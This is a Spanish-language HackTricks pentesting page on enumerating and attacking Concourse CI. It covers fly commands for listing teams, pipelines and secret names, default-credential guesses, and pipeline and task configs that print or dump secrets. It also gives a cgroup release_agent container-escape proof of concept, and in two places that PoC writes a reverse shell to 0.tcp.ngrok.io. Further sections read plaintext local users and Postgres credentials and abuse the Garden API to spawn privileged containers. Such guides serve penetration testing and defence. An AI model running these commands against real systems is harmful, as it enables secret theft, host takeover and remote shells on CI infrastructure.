Concourse Enumeration & Attacks

Concourse Enumeración y Ataques

Apoya a HackTricks

Roles de Usuario y Permisos

Concourse viene con cinco roles:

  • Concourse Admin: Este rol solo se otorga a los propietarios del equipo principal (equipo inicial por defecto de concourse). Los administradores pueden configurar otros equipos (por ejemplo: fly set-team, fly destroy-team...). Los permisos de este rol no pueden ser afectados por RBAC.

  • owner: Los propietarios del equipo pueden modificar todo dentro del equipo.

  • member: Los miembros del equipo pueden leer y escribir dentro de los activos del equipo pero no pueden modificar la configuración del equipo.

  • pipeline-operator: Los operadores de pipeline pueden realizar operaciones de pipeline como activar construcciones y fijar recursos, sin embargo no pueden actualizar configuraciones de pipeline.

  • viewer: Los espectadores del equipo tienen acceso "solo lectura" a un equipo y sus pipelines.

Además, los permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: https://concourse-ci.org/user-roles.html

Ten en cuenta que Concourse agrupa pipelines dentro de Equipos. Por lo tanto, los usuarios que pertenecen a un Equipo podrán gestionar esos pipelines y pueden existir varios Equipos. Un usuario puede pertenecer a varios Equipos y tener diferentes permisos dentro de cada uno de ellos.

Vars y Gestor de Credenciales

En las configuraciones YAML puedes configurar valores usando la sintaxis ((_source-name_:_secret-path_._secret-field_)). De la documentación: El source-name es opcional, y si se omite, se utilizará el gestor de credenciales a nivel de clúster, o el valor puede ser proporcionado estáticamente. El _secret-field opcional_ especifica un campo en el secreto obtenido para leer. Si se omite, el gestor de credenciales puede optar por leer un 'campo por defecto' del secreto obtenido si el campo existe. Además, el secret-path y secret-field pueden estar rodeados por comillas dobles "..." si contienen caracteres especiales como . y :. Por ejemplo, ((source:"my.secret"."field:1")) establecerá el secret-path en my.secret y el secret-field en field:1.

Vars Estáticas

Las vars estáticas pueden ser especificadas en pasos de tareas:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or usando los siguientes fly argumentos:

  • -v o --var NAME=VALUE establece la cadena VALUE como el valor para la var NAME.

  • -y o --yaml-var NAME=VALUE analiza VALUE como YAML y lo establece como el valor para la var NAME.

  • -i o --instance-var NAME=VALUE analiza VALUE como YAML y lo establece como el valor para la var de instancia NAME. Consulta Agrupación de Pipelines para aprender más sobre las vars de instancia.

  • -l o --load-vars-from FILE carga FILE, un documento YAML que contiene la asignación de nombres de var a valores, y los establece todos.

Gestión de Credenciales

Hay diferentes formas en que un Gestor de Credenciales puede ser especificado en un pipeline, lee cómo en https://concourse-ci.org/creds.html. Además, Concourse admite diferentes gestores de credenciales:

Ten en cuenta que si tienes algún tipo de acceso de escritura a Concourse puedes crear trabajos para exfiltrar esos secretos ya que Concourse necesita poder acceder a ellos.

Enumeración de Concourse

Para enumerar un entorno de concourse primero necesitas reunir credenciales válidas o encontrar un token autenticado probablemente en un archivo de configuración .flyrc.

Inicio de sesión y enumeración de usuario actual

  • Para iniciar sesión necesitas conocer el endpoint, el nombre del equipo (el predeterminado es main) y un equipo al que pertenece el usuario:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Obtener targets configurados:

  • fly targets

  • Ver si la conexión de target configurada sigue siendo válida:

  • fly -t <target> status

  • Obtener el rol del usuario contra el target indicado:

  • fly -t <target> userinfo

Ten en cuenta que el token de API se guarda en $HOME/.flyrc por defecto, si estás saqueando una máquina podrías encontrar allí las credenciales.

Equipos y Usuarios

  • Obtener una lista de los Equipos

  • fly -t <target> teams

  • Obtener roles dentro del equipo

  • fly -t <target> get-team -n <team-name>

  • Obtener una lista de usuarios

  • fly -t <target> active-users

Pipelines

  • Listar pipelines:

  • fly -t <target> pipelines -a

  • Obtener yaml de pipeline (información sensible podría encontrarse en la definición):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Obtener todas las vars declaradas en la configuración del pipeline

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Obtener todos los nombres de secretos de pipelines utilizados (si puedes crear/modificar un trabajo o secuestrar un contenedor podrías exfiltrarlos):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Contenedores y Trabajadores

  • Listar trabajadores:

  • fly -t <target> workers

  • Listar contenedores:

  • fly -t <target> containers

  • Listar construcciones (para ver qué está en ejecución):

  • fly -t <target> builds

Ataques de Concourse

Fuerza Bruta de Credenciales

  • admin:admin

  • test:test

Enumeración de secretos y parámetros

En la sección anterior vimos cómo puedes obtener todos los nombres y vars de los secretos utilizados por el pipeline. Las vars pueden contener información sensible y el nombre de los secretos será útil más adelante para intentar robarlos.

Sesión dentro de un contenedor en ejecución o recientemente ejecutado

Si tienes suficientes privilegios (rol de miembro o más) podrás listar pipelines y roles y simplemente obtener una sesión dentro del contenedor de <pipeline>/<job> usando:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Con estos permisos, es posible que puedas:

  • Robar los secretos dentro del contenedor

  • Intentar escapar al nodo

  • Enumerar/Abusar del punto final de metadatos de la nube (desde el pod y desde el nodo, si es posible)

Creación/Modificación de Pipeline

Si tienes suficientes privilegios (rol de miembro o más) podrás crear/modificar nuevos pipelines. Consulta este ejemplo:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Con la modificación/creación de un nuevo pipeline podrás:

  • Robar los secretos (a través de su impresión o accediendo al contenedor y ejecutando env)

  • Escapar al nodo (dándote suficientes privilegios - privileged: true)

  • Enumerar/Abusar del endpoint de cloud metadata (desde el pod y desde el nodo)

  • Eliminar el pipeline creado

Ejecutar Tarea Personalizada

Esto es similar al método anterior, pero en lugar de modificar/crear un nuevo pipeline completo, puedes simplemente ejecutar una tarea personalizada (que probablemente será mucho más sigilosa):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Escapando al nodo desde una tarea privilegiada

En las secciones anteriores vimos cómo ejecutar una tarea privilegiada con concourse. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor de docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja".

En la siguiente PoC vamos a usar el release_agent para escapar con algunas pequeñas modificaciones:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Como habrás notado, esto es solo un escape de release_agent regular solo modificando la ruta del cmd en el nodo

Escapando al nodo desde un contenedor Worker

Un escape de release_agent regular con una modificación menor es suficiente para esto:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Escapando al nodo desde el contenedor web

Incluso si el contenedor web tiene algunas defensas deshabilitadas, no se está ejecutando como un contenedor privilegiado común (por ejemplo, no puedes montar y las capacidades son muy limitadas, por lo que todas las formas fáciles de escapar del contenedor son inútiles).

Sin embargo, almacena credenciales locales en texto claro:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Puedes usar esas credenciales para iniciar sesión en el servidor web y crear un contenedor privilegiado y escapar al nodo.

En el entorno también puedes encontrar información para acceder a la instancia de postgresql que utiliza concourse (dirección, nombre de usuario, contraseña y base de datos, entre otra información):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Abusando del Servicio Garden - No es un Ataque Real

Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado antes.

Por defecto, cada trabajador de concourse estará ejecutando un Garden en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador lo que necesita ejecutar (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones:

  • Está expuesto localmente (127..0.0.1) y creo que cuando el trabajador se autentica contra la Web con el servicio SSH especial, se crea un túnel para que el servidor web pueda hablar con cada servicio Garden dentro de cada trabajador.

  • El servidor web está monitoreando los contenedores en ejecución cada pocos segundos, y los contenedores inesperados son eliminados. Así que si quieres ejecutar un contenedor personalizado, necesitas manipular la comunicación entre el servidor web y el servicio garden.

Los trabajadores de Concourse se ejecutan con altos privilegios de contenedor:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Sin embargo, técnicas como montar el dispositivo /dev del nodo o release_agent no funcionarán (ya que el dispositivo real con el sistema de archivos del nodo no es accesible, solo uno virtual). No podemos acceder a los procesos del nodo, por lo que escapar del nodo sin exploits de kernel se complica.

En la sección anterior vimos cómo escapar de un contenedor privilegiado, así que si podemos ejecutar comandos en un contenedor privilegiado creado por el trabajador actual, podríamos escapar al nodo.

Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, así que es como un contenedor creando un nuevo contenedor dentro de él.

Entrando en un contenedor privilegiado en ejecución

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Creando un nuevo contenedor privilegiado

Puedes crear muy fácilmente un nuevo contenedor (solo ejecuta un UID aleatorio) y ejecutar algo en él:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Sin embargo, el servidor web está verificando cada pocos segundos los contenedores que se están ejecutando, y si se descubre uno inesperado, será eliminado. Como la comunicación se realiza en HTTP, podrías manipular la comunicación para evitar la eliminación de contenedores inesperados:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Referencias

  • https://concourse-ci.org/vars.html

Apoya a HackTricks

Last updated